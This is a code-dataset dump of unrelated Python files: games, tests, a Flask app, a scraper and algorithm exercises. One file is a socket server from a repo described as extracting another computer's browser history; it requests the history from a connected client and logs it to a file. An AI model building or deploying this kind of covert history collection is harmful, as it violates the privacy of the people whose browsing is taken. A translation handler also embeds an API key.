cv2.boundingRect(train_masks[bin_mask_idx])\n\n if x >= x_m and x <= x_m + w_m and y >= y_m and y <= y_m + h_m:\n decision_array[train_idxes[bin_mask_idx] - 1] += 1\n break\n \n sorted_decision_array = sorted(decision_array)\n if sorted_decision_array[-1] != sorted_decision_array[-2]:\n return np.argmax(decision_array) + 1\n else:\n # ambiguous answer, try one more time recursively\n return compare_images(idxed_image, train_image, ratio_thresh)\n\n\nimage = io.imread(image_dir)\n\n# image preproc \nim = Image.fromarray(image)\nenhancer = ImageEnhance.Sharpness(im)\nenhanced_im = enhancer.enhance(5)\nimage = np.array(enhanced_im)\n\nimage = np.ascontiguousarray(image, dtype=np.uint8)\n\n# several iterations to make algorithm answers more robust\nnum_iter = 1\n\nfor comp_idx in np.unique(markers):\n if comp_idx != -1 and comp_idx != 1:\n mask = (markers == comp_idx).astype(np.uint8)\n bin_mask = (mask != 0).astype(np.uint8)\n \n idxed_image = cv2.bitwise_and(image,image,mask=mask)\n idxed_image = crop_image(idxed_image, bin_mask)\n \n iter_ans_arr = []\n for _ in range(num_iter):\n iter_res = compare_images(idxed_image, train_image, 0.7)\n iter_ans_arr.append(iter_res)\n \n curr_ans = np.bincount(iter_ans_arr).argmax()\n \n text_x, text_y, text_w, text_h = cv2.boundingRect(bin_mask)\n image = cv2.putText(image, \n train_answers[curr_ans - 1], \n (text_x + text_w // 2 - 75, text_y + text_h // 2), \n cv2.FONT_HERSHEY_SIMPLEX, \n 2, (255, 255, 255), thickness=10)\n image = cv2.rectangle(image, \n (text_x, text_y), (text_x + text_w, text_y + text_h), \n (255, 255, 255), thickness=8) \n\nplt.figure(figsize=(20,20))\nplt.imshow(image, cmap='gray')\n","repo_name":"aaasenin/puzzles-segmentation","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":6902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19264930734","text":"import pytest\nimport numpy as np\nfrom nzpyida.base import IdaDataBase\nfrom nzpyida.analytics.auto_delete_context import AutoDeleteContext\nfrom nzpyida.analytics.tests.conftest import df_train, TAB_NAME_TRAIN\nfrom nzpyida.analytics.transform.preparation import std_norm, impute_data, random_sample\n\nTEST_TAB_NAME = \"TEST_TAB_NAME\"\n\n@pytest.fixture(scope='function')\ndef clean_up(idadb: IdaDataBase):\n if idadb.exists_table(TEST_TAB_NAME):\n idadb.drop_table(TEST_TAB_NAME)\n yield\n if idadb.exists_table(TEST_TAB_NAME):\n idadb.drop_table(TEST_TAB_NAME)\n\n@pytest.fixture(scope='module')\ndef idf(idadb: IdaDataBase):\n idf = idadb.as_idadataframe(df_train, tablename=TAB_NAME_TRAIN, clear_existing=True, indexer='ID')\n yield idf\n if idadb.exists_table(TAB_NAME_TRAIN):\n idadb.drop_table(TAB_NAME_TRAIN)\n\ndef test_std_norm(idadb: IdaDataBase, clean_up, idf):\n\n out_df = std_norm(idf, in_column=[\"A:S\"], by_column=['B'], out_table=TEST_TAB_NAME)\n assert out_df\n assert idadb.exists_table_or_view(TEST_TAB_NAME)\n\n assert all(out_df.columns == ['B', 'ID', 'STD_A'])\n\n assert len(out_df) == len(idf)\n\n\ndef test_random_sample(idadb: IdaDataBase, idf, clean_up):\n with AutoDeleteContext(idadb):\n sample_df = random_sample(idf, size=300, by_column=[\"B\"], rand_seed=123)\n assert sample_df\n\n assert all(sample_df.columns == [ 'ID', 'A', 'B'])\n\n assert len(sample_df) == 300\n\n sample_df2 = random_sample(idf, size=300, by_column=[\"B\"], rand_seed=123)\n sample_df3 = random_sample(idf, size=300, by_column=[\"B\"])\n assert all((sample_df.head(10) == sample_df2.head(10))['ID'])\n assert not all((sample_df.head(10) == sample_df3.head(10))['ID'])\n\n\ndef test_impute_data(idadb: IdaDataBase, clean_up):\n df_train['new'] = np.nan\n idf = idadb.as_idadataframe(df_train, tablename=TAB_NAME_TRAIN, clear_existing=True, indexer='ID')\n\n assert idf\n assert idadb.exists_table_or_view(TAB_NAME_TRAIN)\n","repo_name":"mrozpawel/nzpyida","sub_path":"nzpyida/analytics/tests/test_preparation.py","file_name":"test_preparation.py","file_ext":"py","file_size_in_byte":1993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"20469230288","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nimport logging\nimport urllib2\nimport json\nfrom commonfunc import showmenu\nimport plugins.responses\n\n# global variable\n_KEYWORDS = {\n '天气': 'getweather',\n '温度': 'gettemperature',\n '0000': 'showmenu'\n}\n_PREFIX = {'1001': 'repeatwords', '1002': 'translate'}\n_MYSPLIT = '+'\n\n\nclass TextReqHandler:\n def __init__(self, req):\n self.req = req\n self.resp = plugins.responses.Response(req)\n\n # main function\n def getresponse(self):\n content = self.req.content\n global _KEYWORDS\n global _PREFIX\n global _MYSPLIT\n funcresp = dict()\n try:\n # if a keyword-command(staticmethod)\n funcresp = getattr(self, _KEYWORDS[content])()\n except Exception as e:\n logging.exception(e)\n try:\n # if a keyword-command(commonmethod)\n funcresp = eval(_KEYWORDS[content])()\n except Exception as e:\n logging.exception(e)\n try:\n # if a prefix-command\n prefix, realcontent = content.split(_MYSPLIT, 1)\n except Exception as e:\n logging.exception(e)\n # no match command\n errcode = '0'\n funcresp = showmenu(errcode)\n else:\n try:\n # if a right prefix\n funcresp = getattr(self, _PREFIX[prefix])(realcontent)\n except Exception as e:\n logging.exception(e)\n # no match prefix\n errcode = '1'\n funcresp = showmenu(errcode)\n finally:\n for key, value in funcresp.iteritems():\n self.resp.__dict__[key] = value\n return self.resp\n\n # ----------------------------------------staticmethod-----------------------------------------------\n # define all common functions in this section\n # common function means function which can run without the class\n # for example you can make a 'switch' function here\n @staticmethod\n def getweather():\n resp = dict()\n resp['type'] = ''\n pass\n return resp\n\n @staticmethod\n def gettemperature():\n resp = dict()\n resp['type'] = ''\n pass\n return resp\n\n @staticmethod\n def repeatwords(words):\n resp = dict()\n resp['type'] = 'text'\n resp['content'] = words\n return resp\n\n @staticmethod\n def translate(words):\n words = words.encode('utf-8')\n resp = dict()\n resp['type'] = 'text'\n resp['content'] = ''\n qwords = urllib2.quote(words)\n transurl = u'http://fanyi.youdao.com/openapi.do' \\\n u'?keyfrom=leopenweixin&key=1317704549&type=data&doctype=json&version=1.1&q=' + qwords\n respjson = urllib2.urlopen(transurl)\n result = json.loads(respjson.read())\n if result['errorCode'] == 0:\n if 'basic' in result.keys():\n resp['content'] = u'%s:\\n%s\\n%s\\n网络释义:\\n%s' % (\n result['query'], ','.join(result['translation']),\n ','.join(result['basic']['explains']), ','.join(result['web'][0]['value']))\n else:\n resp['content'] = u'%s: \\n基本翻译: %s\\n' % (result[u'query'], ','.join(result[u'translation']))\n elif result['errorCode'] == 20:\n resp['content'] = u'对不起,要翻译的文本过长'\n elif result['errorCode'] == 30:\n resp['content'] = u'对不起,无法进行有效的翻译'\n elif result['errorCode'] == 40:\n resp['content'] = u'对不起,不支持的语言类型'\n else:\n resp['content'] = u'对不起,您输入的单词无法翻译,请检查拼写'\n return resp\n","repo_name":"leopen-hu/weixinpy","sub_path":"handlers/textposthandler.py","file_name":"textposthandler.py","file_ext":"py","file_size_in_byte":3941,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"7706113628","text":"from abc import ABC, abstractmethod\nimport math\nfrom locations import City, Country\nfrom locations import create_example_countries_and_cities\n\n\nclass Vehicle(ABC):\n \"\"\"\n A Vehicle defined by a mode of transportation, which results in a specific duration.\n \"\"\"\n\n @abstractmethod\n def compute_travel_time(self, departure: City, arrival: City) -> float:\n \"\"\"\n Returns the travel duration of a direct trip from one city\n to another, in hours, rounded up to an integer.\n Returns math.inf if the travel is not possible.\n \"\"\"\n pass\n\n @abstractmethod\n def __str__(self) -> str:\n \"\"\"\n Returns the class name and the parameters of the vehicle in parentheses.\n \"\"\"\n pass\n\n\nclass CrappyCrepeCar(Vehicle):\n \"\"\"\n A type of vehicle that:\n - Can go from any city to any other at a given speed.\n \"\"\"\n\n def __init__(self, speed: int) -> None:\n \"\"\"\n Creates a CrappyCrepeCar with a given speed in km/h.\n \"\"\"\n self.speed = speed\n\n def compute_travel_time(self, departure: City, arrival: City) -> float:\n \"\"\"\n Returns the travel duration of a direct trip from one city\n to another, in hours, rounded up to an integer.\n \"\"\"\n distance = City.distance(departure, arrival)\n time = math.ceil(distance / self.speed)\n return time\n\n def __str__(self) -> str:\n \"\"\"\n Returns the class name and the parameters of the vehicle in parentheses.\n For example \"CrappyCrepeCar (100 km/h)\"\n \"\"\"\n return f\"{self.__class__.__name__} ({self.speed} km/h)\"\n\n\nclass DiplomacyDonutDinghy(Vehicle):\n \"\"\"\n A type of vehicle that:\n - Can travel between any two cities in the same country.\n - Can travel between two cities in different countries only if they are both \"primary\" capitals.\n - Has different speed for the two cases.\n \"\"\"\n\n def __init__(self, in_country_speed: int, between_primary_speed: int) -> None:\n \"\"\"\n Creates a DiplomacyDonutDinghy with two given speeds in km/h:\n - one speed for two cities in the same country.\n - one speed between two primary cities.\n \"\"\"\n self.in_country = in_country_speed\n self.between_primary = between_primary_speed\n\n def compute_travel_time(self, departure: City, arrival: City) -> float:\n \"\"\"\n Returns the travel duration of a direct trip from one city\n to another, in hours, rounded up to an integer.\n Returns math.inf if the travel is not possible.\n \"\"\"\n distance = City.distance(departure, arrival)\n if departure.country == arrival.country:\n time = math.ceil(distance / self.in_country)\n elif departure.capital_type == 'primary' and departure.capital_type == arrival.capital_type:\n time = math.ceil(distance / self.between_primary)\n else:\n return math.inf\n return time\n\n def __str__(self) -> str:\n \"\"\"\n Returns the class name and the parameters of the vehicle in parentheses.\n For example \"DiplomacyDonutDinghy (100 km/h | 200 km/h)\"\n \"\"\"\n return f\"{self.__class__.__name__} ({self.in_country} km/h | {self.between_primary} km/h)\"\n\n\nclass TeleportingTarteTrolley(Vehicle):\n \"\"\"\n A type of vehicle that:\n - Can travel between any two cities if the distance is less than a given maximum distance.\n - Travels in fixed time between two cities within the maximum distance.\n \"\"\"\n\n def __init__(self, travel_time: int, max_distance: int) -> None:\n \"\"\"\n Creates a TarteTruck with a distance limit in km.\n \"\"\"\n self.travel_time = travel_time\n self.max_distance = max_distance\n\n def compute_travel_time(self, departure: City, arrival: City) -> float:\n \"\"\"\n Returns the travel duration of a direct trip from one city\n to another, in hours, rounded up to an integer.\n Returns math.inf if the travel is not possible.\n \"\"\"\n distance = City.distance(departure, arrival)\n if distance < self.max_distance:\n # if departure.capital_type == arrival.capital_type:\n return self.travel_time\n else:\n return math.inf\n\n def __str__(self) -> str:\n \"\"\"\n Returns the class name and the parameters of the vehicle in parentheses.\n For example \"TeleportingTarteTrolley (5 h | 1000 km)\"\n \"\"\"\n return f\"{self.__class__.__name__} ({self.travel_time} h | {self.max_distance} km)\"\n\n\ndef create_example_vehicles() -> list[Vehicle]:\n \"\"\"\n Creates 3 examples of vehicles.\n \"\"\"\n return [CrappyCrepeCar(200), DiplomacyDonutDinghy(100, 500), TeleportingTarteTrolley(3, 2000)]\n\n\nif __name__ == \"__main__\":\n create_example_countries_and_cities()\n\n australia = Country.countries[\"Australia\"]\n melbourne = australia.get_city(\"Melbourne\")\n canberra = australia.get_city(\"Canberra\")\n japan = Country.countries[\"Japan\"]\n tokyo = japan.get_city(\"Tokyo\")\n\n vehicles = create_example_vehicles()\n\n for vehicle in vehicles:\n for from_city, to_city in [(melbourne, canberra), (tokyo, canberra), (tokyo, melbourne)]:\n print(\"Travelling from {} to {} will take {} hours with {}\".format(from_city, to_city, vehicle.compute_travel_time(from_city, to_city), vehicle))","repo_name":"TanJiunKoonM/Monash_2022_A3","sub_path":"fit1045_a3_applied05_november6th/vehicles.py","file_name":"vehicles.py","file_ext":"py","file_size_in_byte":5412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15594872098","text":"'''\n\n@author: radu\n'''\n\nclass Console(object):\n def __init__(self, bs):\n self.__bs = bs\n \n\n def __print_options(self):\n print(\"n - Next solution \\n\\\nx - eXit \\\n \")\n \n \n def run_menu(self):\n# sol = self.__bs.back_rec([], 6)\n sol = self.__bs.back_iter(6) \n while True:\n self.__print_options()\n opt = input(\"option=\")\n if opt == \"x\":\n break\n elif opt == \"n\":\n try:\n print(next(sol), \"\\n\")\n except StopIteration as si:\n print(\"no more solutions; \", si)\n else:\n print(\"Invalid option\")\n \n","repo_name":"boldijar/babes-info-romana","sub_path":"Fundamentele programarii/s14p3/s14p3/src/s14p3/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"32"} +{"seq_id":"37724022779","text":"import socket\n\ndef server_program():\n # get the host name\n server_IP = socket.gethostname()\n port = 5000\n\n server_socket = socket.socket()\n server_socket.bind((server_IP,port))\n\n # how many clients can we listen ar max\n server_socket.listen(5)\n conn , address = server_socket.accept()\n print(\" Connected to the client: \" + str(address))\n print(str(conn.recv(1024).decode()))\n conn.send(\"Send the history\".decode())\n file = open(\"logfile.txt\" , \"a\")\n while True:\n data = conn.recv(1024).decode()\n if not data:\n break\n file.write(data)\n file.write(\"\\n\")\n\n #data = input(\" your input :->\")\n #conn.send(data.encode())\n print(\"*\"*100 + \"\\n\\n the history data is fetched\")\n conn.close()\n file.close()\n\nif __name__ == '__main__':\n server_program()\n","repo_name":"Pinakee15/SImple-socket-programming-to-learn-to-connect-a-computer-and-extract-its-Browser-History","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28369370147","text":"import keyboard\r\nimport pyautogui\r\n\r\npyautogui.FAILSAFE = False\r\n\r\n\r\ndef autoClicker(delay=0.001):\r\n \"\"\"\r\n ENG:\r\n -- press 'a' to start autoclicker\r\n -- press 'd' to stop autoclicker\r\n -- press 'esc' to finish program\r\n \r\n RU:\r\n -- нажмите 'a' для запуска автокликера\r\n -- нажмите 'd' для остановки автокликера\r\n -- нажмите 'esc' для завершения программы\r\n \"\"\"\r\n while True:\r\n if keyboard.is_pressed('a'): # start\r\n while True:\r\n pyautogui.click(interval=delay)\r\n if keyboard.is_pressed('d'): # stop\r\n break\r\n if keyboard.is_pressed('esc'): # exit\r\n break\r\n\r\n\r\nif __name__ == '__main__':\r\n autoClicker()\r\n","repo_name":"Alekselion/sandbox","sub_path":"automation/autoclicker.py","file_name":"autoclicker.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5878619180","text":"import pygame, random\n\npygame.init()\n\nWINDOW_WIDTH = 500\nWINDOW_HEIGHT = 300\nORANGE = (246, 170, 54)\nWHITE = (255, 255, 255)\n\ndisplay_surface = pygame.display.set_mode((WINDOW_WIDTH, WINDOW_HEIGHT))\npygame.display.set_caption(\"Burger Dog\")\n\npygame.mixer.music.load(\"assets/bd_background_music.wav\")\nbark = pygame.mixer.Sound(\"assets/bark_sound.wav\")\nmiss = pygame.mixer.Sound(\"assets/miss_sound.wav\")\n\n#Set FPS and clock\nFPS = 60\nclock = pygame.time.Clock()\n\nVELOCITY = 5\nburger_vel = STARTING_BURGER_VEL = 3\nBOOST = 2.5\n\ndog_left = pygame.image.load(\"assets/dog_left.png\")\ndog_left_rect = dog_left.get_rect()\n\ndog_right = pygame.image.load(\"assets/dog_right.png\")\ndog_right_rect = dog_right.get_rect()\n\nburger = pygame.image.load(\"assets/burger.png\")\nburger_img_rect = burger.get_rect()\n\nburger = pygame.transform.scale(burger, (burger_img_rect.size[0]*0.7, burger_img_rect.size[1]*0.7))\ndog_left = pygame.transform.scale(dog_left, (dog_left_rect.size[0]*0.6, dog_left_rect.size[1]*0.6))\ndog_right = pygame.transform.scale(dog_right, (dog_right_rect.size[0]*0.6, dog_right_rect.size[1]*0.6))\n\ndog = dog_left\ndog_rect = dog_left_rect\ndog_rect.center = (WINDOW_WIDTH//2, WINDOW_HEIGHT-80)\n\nlives = STARTING_LIVES = 3\nscore = STARTING_SCORE = 0\nburgers_eaten = STARTING_BURGERS = 0\nboost = STARTING_BOOST = 100\npoints = random.randint(100, 1500)\n\nfont = pygame.font.Font(\"assets/WashYourHand.ttf\", 20)\n\n#Text\nname_txt = font.render(\"Burger Dog\", True, ORANGE)\nlives_txt = font.render(f\"Lives: {lives}\", True, ORANGE)\nscore_txt = font.render(f\"Score: {score}\", True, ORANGE)\nburgers_txt = font.render(f\"Burgers Eaten: {burgers_eaten}\", True, ORANGE)\nboost_txt = font.render(f\"Boost: {boost}\", True, ORANGE)\npoints_txt = font.render(f\"Burger Points: {points}\", True, ORANGE)\nlose_txt = font.render(f\"FINAL SCORE: {score}\", True, ORANGE)\ncontinue_txt = font.render(\"Press any key to play again\", True, ORANGE)\n\nname_rect = name_txt.get_rect()\nlives_rect = lives_txt.get_rect()\nscore_rect = score_txt.get_rect()\nburgers_rect = burgers_txt.get_rect()\nboost_rect = boost_txt.get_rect()\npoints_rect = points_txt.get_rect()\nlose_rect = lose_txt.get_rect()\ncontinue_rect = continue_txt.get_rect()\n\nname_rect.center = (WINDOW_WIDTH//2, 10)\nlives_rect.topright = (WINDOW_WIDTH - 40, 3)\nburgers_rect.center = (WINDOW_WIDTH//2, name_rect.centery+25)\nboost_rect.topleft = lives_rect.bottomleft \npoints_rect.topleft = (5, 3)\nscore_rect.topleft = points_rect.bottomleft\nburger_img_rect.center = (random.randint(30, WINDOW_WIDTH-30), burgers_rect.bottom+25)\nlose_rect.center = (WINDOW_WIDTH//2, WINDOW_HEIGHT//2 - 20)\ncontinue_rect.center = (lose_rect.centerx, lose_rect.centery+60)\n\nrunning = True\npygame.mixer.music.play(-1)\nwhile running:\n display_surface.fill((0,0,0))\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT or (event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE):\n running = False\n break\n\n elif lives <= 0 and (event.type == pygame.KEYDOWN or event.type == pygame.MOUSEBUTTONDOWN):\n lives = STARTING_LIVES\n score = 0\n burgers_eaten = 0\n boost = STARTING_BOOST\n pygame.mixer.music.play(-1, 0.0)\n\n if lives > 0:\n burger_img_rect.y += burger_vel\n\n points = random.randint(100, 1500)\n\n if dog_rect.colliderect(burger_img_rect):\n bark.play()\n score += points\n burger_vel += 0.1\n burger_img_rect.center = (random.randint(30, WINDOW_WIDTH-30), burgers_rect.bottom+25)\n burgers_eaten += 1\n\n if boost < 100:\n boost += 1\n\n if burger_img_rect.y >= WINDOW_HEIGHT:\n miss.play()\n lives -= 1\n burger_img_rect.center = (random.randint(30, WINDOW_WIDTH-30), burgers_rect.bottom+25)\n\n keys = pygame.key.get_pressed()\n\n if keys[pygame.K_LEFT]:\n dog = dog_left\n if dog_rect.left > 0:\n if keys[pygame.K_SPACE] and boost > 0:\n boost -= 1\n dog_rect.centerx -= VELOCITY*BOOST \n else:\n dog_rect.centerx -= VELOCITY\n elif keys[pygame.K_RIGHT]:\n dog = dog_right\n if dog_rect.right < WINDOW_WIDTH+20:\n if keys[pygame.K_SPACE] and boost > 0:\n boost -= 1\n dog_rect.centerx += VELOCITY*BOOST \n else:\n dog_rect.centerx += VELOCITY\n elif keys[pygame.K_UP] and dog_rect.top > burgers_rect.centery+25:\n if keys[pygame.K_SPACE] and boost > 0:\n boost -= 1\n dog_rect.centery -= VELOCITY*BOOST \n else:\n dog_rect.centery -= VELOCITY\n elif keys[pygame.K_DOWN] and dog_rect.bottom < WINDOW_HEIGHT+20:\n if keys[pygame.K_SPACE] and boost > 0:\n boost -= 1\n dog_rect.centery += VELOCITY*BOOST \n else:\n dog_rect.centery += VELOCITY\n \n display_surface.blit(burger, burger_img_rect)\n\n else:\n lose_txt = font.render(f\"FINAL SCORE: {score}\", True, ORANGE)\n display_surface.blit(lose_txt, lose_rect)\n display_surface.blit(continue_txt, continue_rect)\n pygame.mixer.music.stop()\n \n pygame.draw.line(display_surface, WHITE, (0, burgers_rect.centery+20), (WINDOW_WIDTH, burgers_rect.centery+20))\n\n lives_txt = font.render(f\"Lives: {lives}\", True, ORANGE)\n score_txt = font.render(f\"Score: {score}\", True, ORANGE)\n burgers_txt = font.render(f\"Burgers Eaten: {burgers_eaten}\", True, ORANGE)\n boost_txt = font.render(f\"Boost: {boost}\", True, ORANGE)\n points_txt = font.render(f\"Burger Points: {points}\", True, ORANGE)\n\n display_surface.blit(name_txt, name_rect)\n display_surface.blit(lives_txt, lives_rect)\n display_surface.blit(score_txt, score_rect)\n display_surface.blit(burgers_txt, burgers_rect)\n display_surface.blit(boost_txt, boost_rect)\n display_surface.blit(points_txt, points_rect)\n\n display_surface.blit(dog, dog_rect)\n pygame.display.update()\n\n #Tick the clock\n clock.tick(FPS)\n\n\npygame.quit()\n","repo_name":"mr4s/CourseProjects","sub_path":"pygames/BurgerDog/burgerdog.py","file_name":"burgerdog.py","file_ext":"py","file_size_in_byte":6201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"10375459808","text":"from flask import Flask,render_template\r\nfrom flask import request\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route(\"/\")\r\ndef hello_world():\r\n return render_template(\"index.html\", temp=\"Varun\")\r\n\r\n@app.route(\"/odd_even_function\", methods=[\"POST\"])\r\ndef function_handler():\r\n # step 1 - getting the value from frontend to backend\r\n input_param = request.form[\"input_param\"]\r\n\r\n try:\r\n input_param = int(input_param)\r\n except:\r\n return render_template(\"index.html\", response={\"odd_even\":None, \"message\":\"Input is not a number\"})\r\n\r\n # step 2 - process\r\n response_var = \"Odd\" if input_param%2==1 else \"Even\"\r\n\r\n # step 3 - respond back to the frontend\r\n return render_template(\"index.html\", response={\"odd_even\":response_var, \"message\":\"Success\"})\r\n\r\nif __name__ == ('__main__'):\r\n app.run(debug=True)","repo_name":"ankur-JA/Odd-and-Even-Number-Finder","sub_path":"app1.py","file_name":"app1.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"74895860250","text":"from typing import List\nfrom collections import defaultdict\n\n\nclass Solution:\n def canFinish(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n visit = set() # to track the current path\n\n crsMap = defaultdict(list)\n for a, b in prerequisites:\n crsMap[a].append(b)\n\n def dfs(crs):\n if crs in visit:\n return False\n visit.add(crs)\n\n for pre in crsMap[crs]:\n if not dfs(pre):\n return False\n\n visit.remove(crs)\n crsMap[crs] = []\n return True\n\n for c in range(numCourses):\n if not dfs(c):\n return False\n\n return True\n","repo_name":"debbs061/algorithm","sub_path":"src/207-course-schedule-(4).py","file_name":"207-course-schedule-(4).py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"73230533530","text":"import numpy as np \nimport matplotlib.pyplot as plt \nimport os \n\ndef R(x,A):\n Ax = np.dot(A,x)\n return np.dot(x.T,Ax) / np.dot(x.T,x)\n\ndef g(x,A):\n Ax = np.dot(A,x)\n x2 = np.dot(x.T,x)\n return 2*(x2* Ax + np.dot(x.T,Ax) * x) / x2**2\n\ndef getDirection(x,A):\n return -g(x,A)\n\ndef armijo(x,d,A,q,sigma):\n t = 1\n for i in range(100):\n xp1 = x + t*d\n if R(xp1,A) < R(x,A) + t*sigma*np.dot(d,d): break\n t *= q\n return t\n\ndef checkMin(xn,xnp1):\n return R(xnp1,A) > R(xn,A)\n\ndef descent(x0,A,maxSteps):\n q = 0.3\n sigma = 0.99999999999\n eps = 1e-16\n xList = [x0]\n xn = x0\n lambdas = [R(xn,A)]\n steps = maxSteps\n for n in range(maxSteps):\n dn = getDirection(xn,A)\n #print('dir: ',direction)\n stepLength = armijo(xn,dn,A,q,sigma)\n xnp1 = xn + stepLength * dn\n #print(xnp1)\n # if checkMin(xn,xnp1): \n # steps = n\n # break\n lambdas.append(R(xnp1,A))\n xList.append(xnp1)\n xn = xnp1\n # if lambdas[-1] - lambdas[-2] < eps:\n # steps = n\n # break\n if n%10 == 0:\n print(n)\n print('lambda = ',lambdas[-1])\n print('stepLength: ',stepLength)\n return xList,lambdas,steps\n\n\n# n = int(input(\"n = \"))\n# print(\"n = \",n,\" selected!\")\nn = 10\nh = 1/n\nA = 1/h**2 * (2*np.eye(n,n,dtype=float) - np.eye(n,n,k=1,dtype=float) - np.eye(n,n,k=-1,dtype=float))\nx0 = np.ones(n)\n#x0 = np.random.rand(n)\n\nprint(A)\nprint(x0)\nmaxSteps = 100\nxList,lambdas,steps = descent(x0,A,maxSteps)\nprint(xList[-1])\nEWs, EVs = np.linalg.eigh(A)\n\nprint('Numpy: ',EWs[0])\nprint('Custom: ',lambdas[-1])\n\n# plt.semilogy(range(steps+1),lambdas)\n# plt.show()","repo_name":"GenosW/Numerical-Computation","sub_path":"Ue11/Ex11_4.py","file_name":"Ex11_4.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15317740325","text":"class Solution:\n def permuteUnique(self, nums: List[int]) -> List[List[int]]:\n nums.sort()\n tmpRet = set()\n ret = []\n self.func(nums,0,[],tmpRet,ret)\n return ret\n \n def func(self,nums,bit,tmp,tmpRet,ret):\n if bit == 2**len(nums)-1:\n if not (tuple(tmp) in tmpRet):\n tmpRet.add(tuple(tmp))\n ret.append(tmp)\n return\n for i in range(len(nums)):\n if not((1 << i) & bit):\n self.func(nums,bit | (1< li.post\")\n for post in posts:\n post_query = PyQuery(post)\n item_url = post_query(\"a.entry-thumbnails-link\").attr(\"href\") # type: str\n if item_url.startswith(\"{}/works/furasupi\".format(base_url)):\n item_url_split = item_url.split(\"/\")\n item = KnightVisualSearchResultItem()\n item.id = item_url_split[len(item_url_split) - 2]\n item.url = item_url\n item.title = post_query(\".entry-title > a\").text()\n item.thumbnail_url = post_query(\"a.entry-thumbnails-link img\").attr(\"data-lazy-src\")\n item.upload_year = int(item.thumbnail_url.split(\"/\")[5])\n results.append(item)\n\n return results\n\n\ndef get_by_id(product_id):\n return get_by_url(\"{}/works/furasupi/{}\".format(base_url, product_id))\n\n\ndef get_by_url(product_url):\n query = PyQuery(product_url)\n item = KnightVisualItem()\n\n table_data = query(\"div.kvp_goods_info_table td.data\")\n item.url = product_url\n item.id = table_data[0].text\n item.label = table_data[1].text\n item.actress_name = table_data[2].text\n item.author_name = table_data[3].text\n item.duration_in_minutes = int(table_data[4].text[:-1])\n item.duration = time(hour=item.duration_in_minutes / 60, minute=item.duration_in_minutes % 60)\n item.title = query(\"h1.entry-title > a\").text()\n item.description = query(\"div.entry-content > p\").text().strip()\n item.poster_url = base_url + query(\"div.entry-content > p > a > img\").attr(\"data-lazy-src\")\n item.cover_url = base_url + query(\"div.entry-content > p > a\").attr(\"href\")\n item.sample_video_url = query(\"div.entry-content > video\").attr(\"src\")\n item.sample_image_thumbnail_urls = query(\".gallery img\") \\\n .map(lambda i, e: PyQuery(this).attr(\"data-lazy-src\")) # noqa: this\n item.sample_image_urls = query(\".gallery a\").map(lambda i, e: PyQuery(this).attr(\"href\")) # noqa: this\n\n poster_url_head = requests.head(item.poster_url)\n last_modified = poster_url_head.headers['Last-Modified']\n item.upload_date = datetime(*parsedate(last_modified)[:7])\n\n return item\n\n\nclass KnightVisualSearchResultItem(object):\n def __init__(self):\n self.id = \"Stub\"\n self.url = \"Stub\"\n self.title = \"Stub\"\n self.thumbnail_url = \"Stub\"\n self.upload_year = 0 # Stub\n\n\nclass KnightVisualItem(object):\n def __init__(self):\n self.id = \"Stub\"\n self.url = \"Stub\"\n self.title = \"Stub\"\n self.description = \"Stub\"\n self.label = \"Stub\"\n self.poster_url = \"Stub\"\n self.cover_url = \"Stub\"\n self.sample_video_url = \"Stub\"\n self.author_name = \"Stub\"\n self.actress_name = \"Stub\"\n self.duration = datetime.now().time() # Stub\n self.duration_in_minutes = 0 # Stub\n self.upload_date = datetime.now()\n self.sample_image_urls = [] # type: List[str]\n self.sample_image_thumbnail_urls = [] # type: List[str]\n","repo_name":"nickwph/JavPlexAgent.bundle","sub_path":"src/service/knights_visual/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3417,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"32266357094","text":"\"\"\"\r\nYou are given two integers n and k. Your task is to find if n can be represented as a sum of k distinct positive odd (not divisible by 2) integers or not.\r\n\r\nYou have to answer t independent test cases.\r\n\r\nInput\r\nThe first line of the input contains one integer t (1≤t≤105) — the number of test cases.\r\n\r\nThe next t lines describe test cases. The only line of the test case contains two integers n and k (1≤n,k≤107).\r\n\r\nOutput\r\nFor each test case, print the answer — \"YES\" (without quotes) if n can be represented as a sum of k distinct positive odd (not divisible by 2) integers and \"NO\" otherwise.\r\n\"\"\"\r\n\r\nnum_cases = int(input())\r\n\r\nfor i in range(num_cases):\r\n n, k = map(int, input().split())\r\n if n % 2 == 0 and k % 2 != 0: \r\n print(\"NO\")\r\n elif n % 2 != 0 and k % 2 == 0:\r\n print(\"NO\")\r\n elif k**2 > n:\r\n print(\"NO\")\r\n else:\r\n print(\"YES\")\r\n\r\n\r\n","repo_name":"naowalrahman/competitive-programming","sub_path":"codeforces/1327A.py","file_name":"1327A.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3784817243","text":"import logging\nimport 